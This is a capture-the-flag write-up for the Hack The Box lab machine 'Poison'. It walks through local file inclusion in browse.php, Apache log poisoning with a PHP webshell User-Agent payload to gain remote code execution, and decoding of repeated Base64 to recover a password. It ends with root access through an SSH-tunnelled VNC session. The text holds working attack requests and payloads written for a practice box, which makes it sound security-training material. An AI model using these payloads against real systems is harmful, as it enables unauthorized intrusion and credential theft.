Poison — Hack The Box

InfoValue
OSFreeBSD
DifficultyMedium
IP10.129.1.254
Hostnamepoison.htb
ServicesSSH (22), HTTP/Apache (80)

Enumeration

See also: 0 — Ricognizione iniziale and Reconnaissance-and-Information-Gathering

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA scan/nmap.scan poison.htb
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)

Open ports:

  • 22/tcp — OpenSSH 7.2 (FreeBSD) → SSH
  • 80/tcp — Apache 2.4.29 + PHP 5.6.32
sudo tee -a /etc/hosts <<< "10.129.1.254  poison.htb"

Web Enumeration

feroxbuster -u http://poison.htb/ -x js,html,php,txt,json,docx -o scan/poison.dir

The web service on port 80 presents a page with a form to test local PHP scripts. Suggested files: listfiles.php, phpinfo.php, etc. The form uses browse.php with a file parameter in GET.

VHost Fuzzing

ffuf -H "Host: FUZZ.poison.htb" -H "User-Agent: PENTEST" -c \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://poison.htb/ -fs 289

No significant vhosts found — all return the same size (289).


Foothold — LFI → Log Poisoning → RCE

Step 1 — Local File Inclusion (LFI)

Vulnerability

Type: Local File Inclusion (LFI) in browse.php

Structural root cause: The file parameter is passed directly to include() without sanitization. Any file path readable by the web process can be included and rendered as PHP.

The file parameter in browse.php allows reading arbitrary files from the system:

GET /browse.php?file=/etc/passwd HTTP/1.1
Host: poison.htb

Confirmation: the content of /etc/passwd is returned in the response. User charix is identified.

Step 2 — Log Poisoning → RCE

Vulnerability

Type: Log Poisoning → Remote Code Execution

Structural root cause: The LFI also includes Apache log files (/var/log/httpd-access.log), which contain the attacker-controlled User-Agent. Injecting PHP code into the User-Agent turns the log into a webshell when included via browse.php.

Phase 1 — Injecting PHP payload into Apache logs:

A request is sent with a User-Agent containing a PHP webshell:

GET / HTTP/1.1
Host: poison.htb
User-Agent: <?php system($_REQUEST['cmd']); ?>

The payload is written to the Apache log. From this point on, every inclusion of the log will execute the PHP code.

Phase 2 — Triggering RCE via LFI on the log:

The poisoned log file is included via LFI, passing a command via the cmd parameter:

GET /browse.php?file=/var/log/httpd-access.log&cmd=cat+pwdbackup.txt HTTP/1.1
Host: poison.htb

Step 3 — Credential Recovery from pwdbackup.txt

The file pwdbackup.txt contains a Base64 encoded blob 13 times consecutively. The file header confirms this:

This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0x...

Encoding ≠ Encryption

Repeated Base64 13 times adds no security — it is just obfuscation. Every iteration is completely reversible without a key.

After 13 iterations of Base64 decoding, the plaintext password is obtained:

Charix!2#4%6&8(0

Step 4 — SSH as charix

ttylog-wrap ssh-poison ssh charix@poison.htb

Credentials

User: charix Password: Charix!2#4%6&8(0

Shell obtained as charix on FreeBSD.


Privilege Escalation — VNC as root

Vulnerability

Type: VNC server running as root on localhost, with password file accessible to user charix

Structural root cause: The Xvnc service runs with root privileges and authenticates via /root/.vnc/passwd. A copy of this file (secret.zip) is located in charix’s home directory, protected only by the user’s own password. VNC is exposed only on localhost but is reachable via SSH tunneling.

Enumeration

In charix’s home directory, there is a file secret.zip:

charix@Poison:~ % ls -la
-rw-r-----  1 root    charix      166 Mar 19  2018 secret.zip

The zip is encrypted with the same password as the user:

unzip secret.zip
# Password: Charix!2#4%6&8(0
# Extracted: secret (8 bytes, binary data)
file secret
# secret: Non-ISO extended-ASCII text, with no line terminators
 
xxd secret
# 00000000: bda8 5b7c d596 7a21                      ..[|..z!

The file secret is a VNC password file — 8 bytes of obfuscated DES, standard format for TightVNC/RealVNC authentication.

VNC Service Discovery

Enumerate services listening on localhost:

sockstat -4 -l
# or
netstat -an -p tcp

Ports 5801 and 5901 listening on 127.0.0.1 — VNC service not reachable from outside.

The process runs as root:

root  Xvnc :1 -desktop X -auth /root/.Xauthority -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost

SSH Port Forwarding

Since VNC listens only on localhost, create an SSH tunnel:

ssh -L 5901:127.0.0.1:5901 charix@poison.htb

VNC Confirmation

Verify the service with nmap through the tunnel:

nmap -p 5901 --script vnc-info localhost
PORT     STATE SERVICE
5901/tcp open  vnc-1
| vnc-info:
|     VNC Authentication (2)
|_    STDV VNCAUTH_ (2)

Authentication type: VNC Authentication — accepts password file.

Connect as root via VNC

vncviewer -passwd secret 127.0.0.1:5901

Access to root’s X11 desktop is obtained. Root shell obtained.

Flag Exfiltration

Since copy/paste is not enabled in the VNC session, the flag is exfiltrated via HTTP:

On the VNC desktop (root):

python -m SimpleHTTPServer 9001

From the SSH session (charix):

wget http://127.0.0.1:9001/root/root.txt

Flags

  • User: ✓ obtained as charix
  • Root: ✓ obtained via VNC root session

Attack Chain

Nmap (22, 80) → LFI on browse.php?file= → Log Poisoning (User-Agent PHP webshell) →
RCE via /var/log/httpd-access.log → pwdbackup.txt (Base64 x13 decode) →
Password: Charix!2#4%6&8(0 → SSH charix →
secret.zip (same password) → VNC password file (8 bytes) →
SSH tunnel -L 5901 → vncviewer -passwd secret → Root X11 desktop

Lessons Learned

  • Log Poisoning: the combination of LFI + log file with a field controllable by the attacker (User-Agent) is a classic pattern to convert an LFI into RCE
  • Encoding ≠ Encryption: Base64 repeated 13 times adds no security — every iteration is completely reversible
  • Password Reuse: the same password Charix!2#4%6&8(0 used for the SSH user, the zip file, and effectively for VNC (the password file is derived from the same credentials)
  • VNC on localhost ≠ secure: a service listening only on 127.0.0.1 is reachable by any local user or via SSH tunneling
  • VNC password file: the format is DES-obfuscated 8 bytes — not encrypted, just obfuscated. Tools like vncpasswd generate it and vncviewer -passwd consumes it directly

Timeline

  • Total time: ~4h (including enumeration)
  • Where I spent most time: Understanding the format of the secret file and how to use it with VNC
  • Subjective difficulty: 5/10